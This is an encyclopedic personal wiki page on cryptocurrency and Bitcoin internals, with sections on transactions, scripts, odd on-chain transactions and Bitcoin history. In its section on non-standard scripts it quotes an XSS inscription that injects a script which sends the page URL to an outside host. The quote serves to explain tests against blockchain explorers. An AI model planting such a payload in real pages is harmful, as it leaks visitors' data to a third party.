Ciro Santilli OurBigBook.com $£ Sponsor €¥ 中国独裁统治 China Dictatorship 新疆改造中心、六四事件、法轮功、郝海东、709大抓捕、2015巴拿马文件 邓家贵、低端人口、西藏骚乱
The key difficulties of cryptocurrencies are:
Until those problems are solved, the only real applications of cryptocurrency will by illegal activities, notably buying drugs, paying for ransomware. But also paying for anti-censorship services from inside dictatorships. It is for this reason that Ciro Santilli believes that privacy coins are the best investments until then. People concerned with their privacy are likely to more naturally make fewer larger payments to reduce exposure, and therefore transaction fees matter less, and can be seen as a reasonable privacy tax. Also drugs are expensive, just have a look at any uncensored Onion service search engine, so individual transactions tend to be large.
If crypto really takes off, 99.99% of people will only ever use it through some cryptocurrency exchange (unless scalability problems are solved, and they replace fiat currencies entirely), so the experience will be very similar to PayPal, and without "true" decentralization.
For those reasons, Ciro Santilli instead believes that governments should issue electronic money, and maintain an open API that all can access instead. The centralized service will always be cheaper for society to maintain than any distributed service, and it will still allow for proper taxation.
Ciro believes that it is easy for people to be seduced by the idealistic promise that "cryptocurrency will make the world more fair and equal by giving everyone equal opportunities, away from the corruption of Governments". Such optimism that new technologies will solve certain key social problems without the need for constant government intervention and management is not new, as shown e.g. at HyperNormalisation by Adam Curtis (2016) when he talks about the cyberspace (when the Internet was just beginning): youtu.be/fh2cDKyFdyU?t=2375. Technologies can make our lives better. But in general, some of them also have to be managed.
In any case, cryptocurrencies are bullshit, the true currency of the future is going to be Magic: The Gathering cards. And Cirocoin.
One closely related thing that Ciro Santilli does think could be interesting exploring right now however, notably when having Monero-like anonymity in mind, would be anonymous electronic voting.
TODO evaluate the possible application of cryptocurrency for international transfers:
Of course, the ideal solution would be for governments to just allow for people from other countries to create accounts in their country, and use the centralized API just like citizens. Having an account of some sort is of course fundamental to avoid money laundering/tax evasion, be it on the API, or when you are going to cash out the crypto into fiat. So then the question becomes: suppose that governments are shit and never make such APIs, are international transfers just because traditional banks are inneficient/greedy? Or is it because of the inevitable cost of auditing transfers? E.g. how does Transferwise compare to Bitcoin these days? And if cryptocurrency is more desirable, why wouldn't Transferwise just use it as their backend, and reach very similar fees?
While the idea that inflation due to money creation in fiat currencies does feel kind of bad, it could also be seen as a form of taxation, which is something Ciro Santilli sometimes thinks we should have more of. Ciro hasn't fully researched/rationalized how they compare, and would be open for arguments, see also: Section "Money creation vs tax".

Privacy coin

words: 2
Notable ones:

Cryptocurrency mining

words: 51 articles: 9

Mining pool

words: 51 articles: 6

Bitcoin mining pool

words: 51 articles: 5
en.bitcoin.it/wiki/AntPool
Eligius pool
words: 31
en.bitcoin.it/wiki/Eligius
Created by Luke Dashjr.
The pool is named after Saint Eligius, patron of miners[ref]
Eligius also means to "choose" or "chosen" in Latin: en.wiktionary.org/wiki/Eligius, same root as "to elect" in modern English presumably.
www.f2pool.com/
hhtt.1209k.com/
They might have shut down, but they still have the cutest name! And they've made some cute inscriptions too, see: HHTT
en.bitcoin.it/wiki/Slush_Pool
bitcoin.stackexchange.com/questions/20305/what-is-vanity-address

List of cryptocurrencies

words: 25k articles: 184

Bitcoin (2009, BTC)

words: 25k articles: 177
How it works: Section "How Bitcoin works".
Official website: bitcoin.org/en/
Reference implementation: Bitcoin Core.
E.g.: Coinbase Bitcoin hello world.

Bitcoin HOWTO

words: 110 articles: 2
Suppose we specify:
  • a .dat file
  • the offset in bytes within that file
The question then is, which transaction is encoded at that position of the file?
This would allow us to index inscriptions in the .dat files directly with fast C tools, and then retrive the transaction ID to get cleaner data and metadata.
It should be possible if we managed to take the information from bitcoindev.network/understanding-the-data/ and dump into an indexed SQLite database.
I tried to start things off with LevelDBDumper:
LevelDBDumper -d ~/snap/bitcoin-core/common/.bitcoin/indexes/txindex -f btc.csv -q -o . -t csv
but that consumed all 64 GB of RAM on P51... github.com/mdawsonuk/LevelDBDumper/issues/15

Bitcoin wallet

words: 19 articles: 2
Electrum
words: 19
electrum.org/
askubuntu.com/questions/281233/how-can-i-install-the-electrum-bitcoin-wallet/1384053#1384053
For the love of God, on Ubuntu install from the official AppImage downloaded from electrum.org/#download, not this random outdated Snap snapcraft.io/electrum:

How Bitcoin works

words: 2k articles: 30
Here is a very direct description of the system:
  • each transaction (transaction is often abbreviated "tx") has a list of inputs, and a list of outputs
  • each input is the output of a previous transaction. You verify your identity as the indented receiver by producing a digital signature for the public key specified on the output
  • each output specifies the public key of the receiver and the value being sent
  • the sum of output values cannot obvious exceed the sum of input values. If it is any less, the leftover is sent to the miner of the transaction as a transaction fee, which is an incentive for mining.
  • once an output is used from an input, it becomes marked as spent, and cannot be reused again. Every input uses the selected output fully. Therefore, if you want to use an input of 1 BTC to pay 0.1 BTC, what you do is to send 0.1 BTC to the receiver, and 0.9 BTC back to yourself as change. This is why the vast majority of transactions has two outputs: one "real", and the other change back to self.
Code 1. "Sample Bitcoin transaction graph" illustrates these concepts:
  • tx0: magic transaction without any inputs, i.e. either Genesis block or a coinbase mining reward. Since it is a magic transaction, it produces 3 Bitcoins from scratch: 1 in out0 and 2 in out1. The initial value was actually 50 BTC and reduced with time: Section "Bitcoin halvening"
  • tx1: regular transaction that takes:
    • a single input from tx0 out0, with value 1
    • produces two outputs:
      • out0 for value 0.5
      • out1 for value 0.3
    • this means that there was 0.2 left over from the input. This value will be given to the miner that mines this transaction.
    Since this is a regular transaction, no new coins are produced.
  • tx2: regular transaction with a single input and a single output. It uses up the entire input, leading to 0 miner fees, so this greedy one might (will?) never get mined.
  • tx3: regular transaction with two inputs and one output. The total input is 2.3, and the output is 1.8, so the miner fee will be 0.5
                   tx1                     tx3
  tx0            +---------------+       +---------------+
+----------+     | in0           |       | in0           |
| out0     |<------out: tx0 out0 |  +------out: tx1 out1 |
| value: 1 |     +---------------+  |    +---------------+
+----------+     | out0          |  |    | in1           |
| out1     |<-+  | value: 0.5    |  | +----out: tx2 out0 |
| value: 2 |  |  +---------------+  | |  +---------------+
+----------+  |  | out1          |<-+ |  | out1          |
              |  | value: 0.3    |    |  | value: 1.8    |
              |  +---------------+    |  +---------------+
              |                       |
              |                       |
              |                       |
              |    tx2                |
              |  +---------------+    |
              |  | in0           |    |
              +----out: tx0 out1 |    |
                 +---------------+    |
                 | out0          |<---+
                 | value: 2      |
                 +---------------+
Code 1. Sample Bitcoin transaction graph.
Since every input must come from a previous output, there must be some magic way of generating new coins from scratch to bootstrap the system. This mechanism is that when the miner mines successfully, they get a mining fee, which is a magic transaction without any valid inputs and a pre-agreed value, and an incentive to use their power/compute resources to mine. This magic transaction is called a "coinbase transaction".
The key innovation of Bitcoin is how to prevent double spending, i.e. use a single output as the input of two different transactions, via mining.
For example, what prevents me from very quickly using a single output to pay two different people in quick succession?
The solution are the blocks. Blocks discretize transactions into chunks in a way that prevents double spending.
A block contains:
  • a list of transactions that are valid amongst themselves. Notably, there can't be double spending within a block.
    People making transactions send them to the network, and miners select which ones they want to add to their block. Miners prefer to pick transactions that are:
    • small, as less bytes means less hashing costs. Small generally means "doesn't have a gazillion inputs/outputs".
    • have higher transaction fees, for obvious reasons
  • the ID of its parent block. Blocks therefore form a linear linked list of blocks, except for temporary ties that are soon resolved. The longest known list block is considered to be the valid one.
  • a nonce, which is an integer chosen "arbitrarily by the miner"
For a block to be valid, besides not containing easy to check stuff like double spending, the miner must also select a nonce such that the hash of the block starts with N zeroes.
For example, considering the transactions from Code 1. "Sample Bitcoin transaction graph", the block structure shown at Code 2. "Sample Bitcoin blockchain" would be valid. In it block0 contains two transactions: tx0 and tx1, and block1 also contains two transactions: tx2 and tx3.
 block0           block1             block2
+------------+   +--------------+   +--------------+
| prev:      |<----prev: block0 |<----prev: block1 |
+------------+   +--------------+   +--------------+
| txs:       |   | txs:         |   | txs:         |
| - tx0      |   | - tx2        |   | - tx4        |
| - tx1      |   | - tx3        |   | - tx5        |
+------------+   +--------------+   +--------------+
| nonce: 944 |   | nonce: 832   |   | nonce: 734   |
+------------+   +--------------+   +--------------+
Code 2. Sample Bitcoin blockchain.
The nonces are on this example arbitrary chosen numbers that would lead to a desired hash for the block.
block0 is the Genesis block, which is magic and does not have a previous block, because we have to start from somewhere. The network is hardcoded to accept that as a valid starting point.
Now suppose that the person who created tx2 had tried to double spend and also created another transaction tx2' at the same time that looks like this:
  tx2'
+---------------+
| in0           |
| out: tx0 out1 |
+---------------+
| out0          |
| value: 2      |
+---------------+
Clearly, this transaction would try to spend tx0 out1 one more time in addition to tx2, and should not be allowed! If this were attempted, only the following outcomes are possible:
  • block1 contains tx2. Then when block2 gets made, it cannot contain tx2', because tx0 out1 was already spent by tx2
  • block1 contains tx2'. tx2 cannot be spent anymore
Notably, it is not possible that block1 contains both tx2 and tx2', as that would make the block invalid, and the network would not accept that block even if a miner found a nonce.
Since hashes are basically random, miners just have to try a bunch of nonces randomly until they find one that works.
The more zeroes, the harder it is to find the hash. For example, on the extreme case where N is all the bits of the hash output, we are trying to find a hash of exactly 0, which is statistically impossible. But if e.g. N=1, you will in average have to try only two nonces, N=2 four nonces, and so on.
The value N is updated every 2 weeks, and aims to make blocks to take 10 minutes to mine on average. N has to be increased with time, as more advanced hashing hardware has become available.
Once a miner finds a nonce that works, they send their block to the network. Other miners then verify the block, and once they do, they are highly incentivized to stop their hashing attempts, and make the new valid block be the new parent, and start over. This is because the length of the chain has already increased: they would need to mine two blocks instead of one if they didn't update to the newest block!
Therefore if you try to double spend, some random miner is going to select only one of your transactions and add it to the block.
They can't pick both, otherwise their block would be invalid, and other miners wouldn't accept is as the new longest one.
Then sooner or later, the transaction will be mined and added to the longest chain. At this point, the network will move to that newer header, and your second transaction will not be valid for any miner at all anymore, since it uses a spent output from the first one that went in. All miners will therefore drop that transaction, and it will never go in.
The goal of having this mandatory 10 minutes block interval is to make it very unlikely that two miners will mine at the exact same time, and therefore possibly each one mine one of the two double spending transactions. When ties to happen, miners randomly choose one of the valid blocks and work on top of it. The first one that does, now has a block of length L + 2 rather than L + 1, and therefore when that is propagated, everyone drops what they are doing and move to that new longest one.
Bibliography:
Bitcoin script
words: 818 articles: 26
Bitcoin script debugger
words: 149 articles: 1
btcdeb
words: 149
github.com/bitcoin-core/btcdeb
Tested on Ubuntu 23.10:
sudo apt install libtool
git clone https://github.com/bitcoin-core/btcdeb
cd btcdeb
git checkout 4fd007e57b79cba9b5ffdf5ffe599778c0d63b88
./autogen.sh
./configure
make -j
Patch submited at: github.com/bitcoin-core/btcdeb/pull/143
Then we use it;
./btcdeb '[OP_1 OP_2 OP_ADD]'
and inside the shell:
btcdeb 5.0.24 -- type `./btcdeb -h` for start up options
LOG: signing segwit taproot
notice: btcdeb has gotten quieter; use --verbose if necessary (this message is temporary)
3 op script loaded. type `help` for usage information
script  |  stack 
--------+--------
1       | 
2       | 
OP_ADD  | 
#0000 1
btcdeb> step
                <> PUSH stack 01
script  |  stack 
--------+--------
2       |      01
OP_ADD  | 
#0001 2
btcdeb> step
                <> PUSH stack 02
script  |  stack 
--------+--------
OP_ADD  |      02
        |      01
#0002 OP_ADD
btcdeb> step
                <> POP  stack
                <> POP  stack
                <> PUSH stack 03
script  |  stack 
--------+--------
        |      03
btcdeb> step
script  |  stack 
--------+--------
        |      03
btcdeb> step
at end of script
btcdeb>
Puzzle script
words: 9 articles: 2
github.com/cirosantilli/bitcoin-inscription-indexer?tab=readme-ov-file#utxo_nonstandard
dl.acm.org/doi/abs/10.1109/ICSE48619.2023.00037
Authors: Peilin Zheng, Xiapu Luo, Zibin Zheng
Epic title.
Bitcoin script type
words: 660 articles: 16
en.bitcoin.it/wiki/Multi-signature
Bitcoin non-standard transaction
words: 576 articles: 11
Full list at: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/utxo_nonstandard
Bibliography:
Monday, January 29, 2024
Interesting ones:
Invalid Bitcoin transaction script
words: 195 articles: 2
OP_INVALIDOPCODE
words: 195 articles: 1
Ouptut 0 disassembles as:
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIF
The large constant contains an ASCII Bitcoin Core patch entitled Remove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept:
From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE

I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
 backends/bitcoind/deserialize.py |    8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
     "OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
     "OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
     "OP_CHECKMULTISIGVERIFY",
-    ("OP_SINGLEBYTE_END", 0xF0),
-    ("OP_DOUBLEBYTE_BEGIN", 0xF000),
     "OP_PUBKEY", "OP_PUBKEYHASH",
-    ("OP_INVALIDOPCODE", 0xFFFF),
+    ("OP_INVALIDOPCODE", 0xFF),
 ])
 
 
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
         vch = None
         opcode = ord(bytes[i])
         i += 1
-        if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
-            opcode <<= 8
-            opcode |= ord(bytes[i])
-            i += 1
 
         if opcode <= opcodes.OP_PUSHDATA4:
             nSize = opcode
-- 
1.7.9.4
bitcointalk.org/index.php?topic=5231222.0 duscusses what happens if there is an invalid opcode in a branch that is not taken.
Discussed at: bitcoin.stackexchange.com/questions/35956/non-standard-tx-with-obscure-op-codes-examples
As mentioned at the prize was claimed at 8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc (2017-02-23) which spends several inputs with the same unlock script that presents two different constantants that have the same SHA-1:
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 | xxd -r -p | sha1sum
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 | xxd -r -p | sha1sum
both giving
f92d74e3874587aaf443d1db961d4e26dde13e9c
It was claimed on the same day that Google disclosed the collision: security.googleblog.com/2017/02/announcing-first-sha1-collision.html
Both of these are PDF prefixes, so they start with the PDF file signature, but are not fully viewable PDFs on their own.
This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:
    {
      "value": 0.00002000,
      "n": 9,
      "scriptPubKey": {
        "asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
        "hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
        "type": "witness_v1_taproot"
      }
    },
Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
Bibliography:
Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and OP_FROMALTSTACK, thus making it spendable:
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP
In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one:
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
the third one being an OP_RETURN message.
This event received some coverage:
www.blockchain.com/explorer/transactions/btc/5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3
They appear to be included, with rationale that you can already include syntactically valid crap in an unprovable way: github.com/bitcoin/bitcoin/issues/320 Better then have syntactically invalid crap that is provable.
The outputs of this transaction seem to be the first syntactically incorrect scripts of the blockchain: blockchain.info/tx/ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767?format=json, found by parsing everything locally. The transaction was made in 2013 for 0.1 BTC, which then became unspendable.
The first invalid script is just e.g. "script":"01", which says will push one byte into the stack, but then ends prematurely.
Bitcoin mining reward
words: 41 articles: 1
cointelegraph.com/learn/bitcoin-halving-how-does-the-halving-cycle-work-and-why-does-it-matter Happens every 210,000 blocks, aiming approximately at 4 year intervals. The historical dates were:
  • 50 BTC initially
  • 1st: 2012: down to 25 BTC
  • 2nd: 2016: down to 12.5 BTC
  • 3rd: 2020: down to 6.25 BTC
Each of these events prompts some commemorative inscriptions: Section 2.8. "Halvening messages".

History of Bitcoin

words: 2k articles: 12
MOre precisely we of course mean the first non-Coinbase transaction obviously.
Using funds from block 9.
twitter.com/pete_rizzo_/status/1746866155023671412
On May 19, 2020, Lazlo announced on the Bitcoin Forum at: bitcointalk.org/index.php?topic=137.msg1195
I'll pay 10,000 Bitcoins for a couple of pizzas.. like maybe 2 large ones so I have some left over for the next day. I like having left over pizza to nibble on later. You can make the pizza yourself and bring it to my house or order it for me from a delivery place, but what I'm aiming for is getting food delivered in exchange for bitcoins where I don't have to order or prepare it myself, kind of like ordering a 'breakfast platter' at a hotel or something, they just bring you something to eat and you're happy!
I like things like onions, peppers, sausage, mushrooms, tomatoes, pepperoni, etc.. just standard stuff no weird fish topping or anything like that. I also like regular cheese pizzas which may be cheaper to prepare or otherwise acquire.
If you're interested please let me know and we can work out a deal.
Ciro Santilli remembers his father always telling him how when Ciro was small, he would try to grasp the value of money by converting it into how many pizzas he could buy. Well, at least he was not alone.
User bitcoin2paysafe then asks the fundamental practical question:
In which country do you live?
and Lazslo replies:
Jacksonville, Florida
zip code 32224
United States
User ender_x then points out afterward:
10,000... Thats quite a bit.. you could sell those on www.bitcoinmarket.com/ for $41 USD right now..
so it is a slightly bad deal even then!
Three days later Lazlo's asks again on the thread:
So nobody wants to buy me pizza? Is the bitcoin amount I'm offering too low?
and one day later he confirms that the sale was made without naming the buyer:
I just want to report that I successfully traded 10,000 bitcoins for pizza
Thanks jercos!
where "jercos" is presumably the Bitcoin Forum username of the buyer. en.bitcoin.it/wiki/Jercos gives his identity as Jeremy Sturdivant.
www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/ mentions Jeremy sold too early however:
The cryptocash disappeared when Sturdivant used it to "cover expenses" while travelling the US with his girlfriend.
Figure 1. Laszlo's Papa's Specialty pizzas. Source. The most famous of Laszlo's pizzas, originally published on his website: web.archive.org/web/20210217220810/http://heliacal.net/~solar/bitcoin/lightning-pizza/.
Figure 2. Laszlo's secondary pizza event. Source. web.archive.org/web/20210217220810/http://heliacal.net/~solar/bitcoin/lightning-pizza/ documents another pizza event, as we have different pizza boxes from the most widely known one: web.archive.org/web/20211219130004/http://heliacal.net/~solar/bitcoin/pizza/ Only image thumbs are archived however. web.archive.org/web/20211016070745/https://www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/ however shows a large version that The Sun got their hands on before the takedown.
Figure 3. Jeremy Sturdivant. Source.
heliacal.net is presumably his personal website? But is was down as of 2023. But we have Wayback Machine archives of course :-) Latest working one of that page 2021: web.archive.org/web/20211219130004/http://heliacal.net/~solar/bitcoin/pizza/ And some other stalking:
Laszlo is truly, literally, the nerd who got very very very lucky!!!
TODO Who bought Laszlo Hanyecz pizza?!!!
On June 12, 2010 Laszlo re-offers:
This is an open offer by the way.. I will trade 10,000 BTC for 2 of these pizzas any time as long as I have the funds (I usually have plenty). If anyone is interested please let me know. The exchange is favorable for anyone who does it because the 2 pizzas are only about 25 dollars total, maybe 30 if you give the guy a nice tip. If you get me the upgraded extra large ones or something, I can throw in some more bitcoins, just let me know and we'll work something out.
My 1 year old daughter really enjoys pizza too! She just smears it all over her face if you give her a whole slice, but she does eventually manage to get most of it in her mouth (minus a few loose toppings of course).
and on August 4 user MoonShadow takes him up:
An open offer, you say? It's been a while since you had some pizza. Feeling a craving, Laszlo?
but finally Laszlo withdrawls the offer:
Well I didn't expect this to be so popular but I can't really afford to keep doing it since I can't generate thousands of coins a day anymore. Thanks to everyone who bought me pizza already but I'm kind of holding off on doing any more of these for now.
so we understand that the sales happened multiple times!!! Also, we understand that he was probably a miner.
TODO list all of the potential sales.
Bibliography:
en.bitcoin.it/wiki/Jercos mentions:
According to jercos the transaction was finalized over IRC chats. Jercos was 18 at the time of the transaction.
www.bitcoinwhoswho.com/jercosinterview is the source. Persumably the contact was initiated via the private messaging feature of the Bitcoin Forum.
Figure 5. Jeremy Sturdivant. Source.
Bibliography: en.bitcoin.it/wiki/Jercos
TODO who bought the Bitcoins? Is anyone else besides Jeremy Sturdivant
The original forum thread bitcointalk.org/index.php?topic=137.msg1195 suggests multiple purchases were made, until he had to withdrawl the offer. Perhaps an easier question is how many pizzas he got in the first place.
www.reddit.com/r/Bitcoin/comments/13on6px/comment/jl55025/?utm_source=reddit&utm_medium=web2x&context=3 mentions without source:
I know. Laszlo Hanyecz estimates that he spent 100,000 BTC on pizza in 2010. Laszlo is the man that invented GPU mining and he mined well over 100,000 BTC.
One source is: bitcoinmagazine.com/culture/the-man-behind-bitcoin-pizza-day-is-more-than-a-meme-hes-a-mining-pioneer
Related thread from May 2023: bitcointalk.org/index.php?topic=5453728.msg62286606#msg62286606 "Did Laszlo Hanyecz exchange 40000 BTC for 8 pizzas, not 10000 BTC for 2 pizzas?" but their Googling is so bad no one had found the 100,000 quote before Ciro.
As per bitcoin.stackexchange.com/questions/113831/searching-the-blockchain-based-on-transaction-amount-and-or-date at blockchair.com/bitcoin/outputs?s=time(asc)&q=value(1000000000000),time(2010-05-18..2010-08-05) we can list all the transactions made between the offer and withdrawal dates for value exactly 10k. There are only about 20 of them, and including someone the 22nd of May, so it is extremely likely that this will contain the hits. No repeated recipients however, so it is hard to progress with more advanced analytics tools
Some of the transactions are:
8 d1a429c05868f9be6cf312498b77f4e81c2d4db3268b007b6b80716fb56a35ad (29 May) is a common looking transaction with a single input from 1Bc7T7ygkKKvcburmEg14hJKBrLD7BXCkX and two outputs, one likely being the change to 1GH4dRUAagj67XVjr4TV6J9RFNmGYsLe7c and the other the actual value to 138eoqfNcEdeU9EG9CKfAxnYYz62uHRNrA.
The input chain is complex, but it does contain one block reward on the third level: 17PBFeDzks3LzBTyt6bAMATNhowrvx5kBw + 79 rewards 4th level at 045795627ca29ec72a94c23a65ee775ea1949d60b6fba0938b75e1cfe1e6643e.
Lost Bitcoin case
words: 183 articles: 2
www.nytimes.com/2021/01/12/technology/bitcoin-passwords-wallets-fortunes.html
As for his lost password and inaccessible Bitcoin, Mr. Thomas has put the IronKey in a secure facility - he won’t say where - in case cryptographers come up with new ways of cracking complex passwords. Keeping it far away helps him try not to think about it, he said.
“I would just lay in bed and think about it," Mr. Thomas said.
Video 1. What is Bitcoin? (v1) by WeUseCoins (2011) Source. This is the video that Stefan Thomas as paid 7,002 Bitcoins to make back in 2011.

Bitcoin community

words: 955 articles: 30
bitcointalk.org
Good article about its history: en.bitcoin.it/wiki/BitcoinTalk
Founded by Satoshi Nakamoto, making it the earliest and one of the most important Bitcoin communities. TODO official in any way? Who founded it?
Instance of Simple Machines Forum, an open source, PHP-based forum system.
Some notable appearances:
A lot of important development discussion happened in those channels: en.bitcoin.it/wiki/IRC_channels
At www.reddit.com/r/Bitcoin/comments/5pvp6m/is_there_a_log_for_the_bitcoin_irc_channel/ "Is there a log for the bitcoin IRC channel?" Luke Dashjr comments:
No, it is meant to be private without logging allowed.
User "midmagic" (TODO identify) then comments:
The #bitcoin channel on Freenode is "officially unlogged." That means we officially don't publish the logs anywhere, and if we find that logs are published somewhere, we ask that they be taken down
Some IRC logs were dumped into the Bitcoin blockchain at: IRC log dumps where they cannot be deleted.
Bitcoin developer
words: 697 articles: 21
Luke Dashjr
words: 97
Accounts:
Author of the prayer side of the Prayer wars.
Creator of Eligius pool Bitcoin mining pool.
According to LinkedIn he studied at the Benedictine College in Kansas.
TODO is his real birthname "Luke Dash Jr."?
Apparently he had his coins stolen in January 2023, then worth $3.5m: blog.cryptostars.is/luke-dashjr-an-original-bitcoin-developer-loses-all-his-btc-88421c395ce5p...
www.reddit.com/r/Buttcoin/comments/4936kw/lukejr_is_a_seriously_a_super_crazy_person_quotes/ "Luke-Jr is a seriously a super crazy person quotes gigathread." (2016) on Reddit. Apparently he has some fun views of life.
Figure 6. Source.
Satoshi Nakamoto
words: 600 articles: 18
bitcoin.org registration: 2008-08-18
2008-08-22: first private contact to Wei Dai email. Reproduced at www.gwern.net/docs/bitcoin/2008-nakamoto on gwern.net from address satoshi@anonymousspeech.com. Email provider shutting down entirely on 2021-09-30 as per archive.ph/wip/RRNKx, homepage now juts contains useless Bitcoin stuff.
First public Bitcoin whitepaper announcement: 2008-10-31 www.metzdowd.com/pipermail/cryptography/2008-October/014810.html linking to www.bitcoin.org/bitcoin.pdf, email sent from from satoshi@vistomail.com. Claimed one year and a half development time. Provider apparently closed in 2014: www.reddit.com/r/Bitcoin/comments/3h80mi/vistomailcom_closed_and_domain_changed_owner_in/, as of 2021 just reads:
Once upon a time a man paid me a visit in cyberspace, at this very domain. He planted a seed in our heads that would become the path we are walking today.
Replies in November: www.metzdowd.com/pipermail/cryptography/2008-November/thread.html#14863 under satoshi@anonymousspeech.com claims source code shared privately by request at that point.
First open source release: 9 January 2009. Announcement: www.metzdowd.com/pipermail/cryptography/2009-January/014994.html "Windows only for now. Open source C++ code is included" Arghhhhhh how can those libertarians use Microsoft Windows??? Had a GUI already.
2011-04-23 Satoshi sent his last email ever, it was to Martti Malmi. www.nytimes.com/2015/05/17/business/decoding-the-enigma-of-satoshi-nakamoto-and-the-birth-of-bitcoin.html mentions:
May 2011 was also the last time Satoshi communicated privately with other Bitcoin contributors. In an email that month to Martti Malmi, one of the earliest participants, Satoshi wrote, "I've moved on to other things and probably won't be around in the future."
How Satoshi hid his mining IP address:
Hal Finney:
Satoshi Bitcoin address
words: 6 articles: 1
bitcoin.org
Official Bitcoin domain registered by Satoshi Nakamoto.
Registration: 2008-08-18 by www.namecheap.com, an American company. But using a privacy oriented registrar: bitcoin.stackexchange.com/questions/89532/how-did-nakamoto-untraceably-pay-for-registering-bitcoin-org It is unknown how he could have paid anonymously, so it seems likely that the true identity could be obtained by law enforcement if needed.
First archive 2009-01-31: web.archive.org/web/20090131115053/http://bitcoin.org/ Also from the archive history web.archive.org/web/20100701000000*/bitcoin.org, things really started picking up on July 2010. This is almost certainly due to the opening of
www.metzdowd.com/pipermail/cryptography/2008-October/014810.html
satoshi@vistomail.com
words: 285 articles: 1
Satoshi's official email, it's how he made the First public announcement of Bitoin on first public announcement of Bitcoin on 2008-10-31.
vistomail.com
words: 269
www.reddit.com/r/Bitcoin/comments/3h80mi/vistomailcom_closed_and_domain_changed_owner_in/
2023-11-17 bitcointalk.org/index.php?topic=5478677.0 "I Bought vistomail.com. Now What?" Restricted topic, but Google caught it: archive.ph/wip/dDxqi The message:
I am dedicating the next few months, and perhaps even years, to researching Satoshi Nakamoto and the intricacies of blockchain technology. About four weeks ago, I came across vistomail.com for sale on afternic.com and decided to purchase it. I added vistomail.com to my proton.me account and configured it to catch all emails. As a result, numerous emails started flowing in. Subsequently, I connected satoshi@vistomail.com and discovered significant information that I am excited to share with you in the coming months.
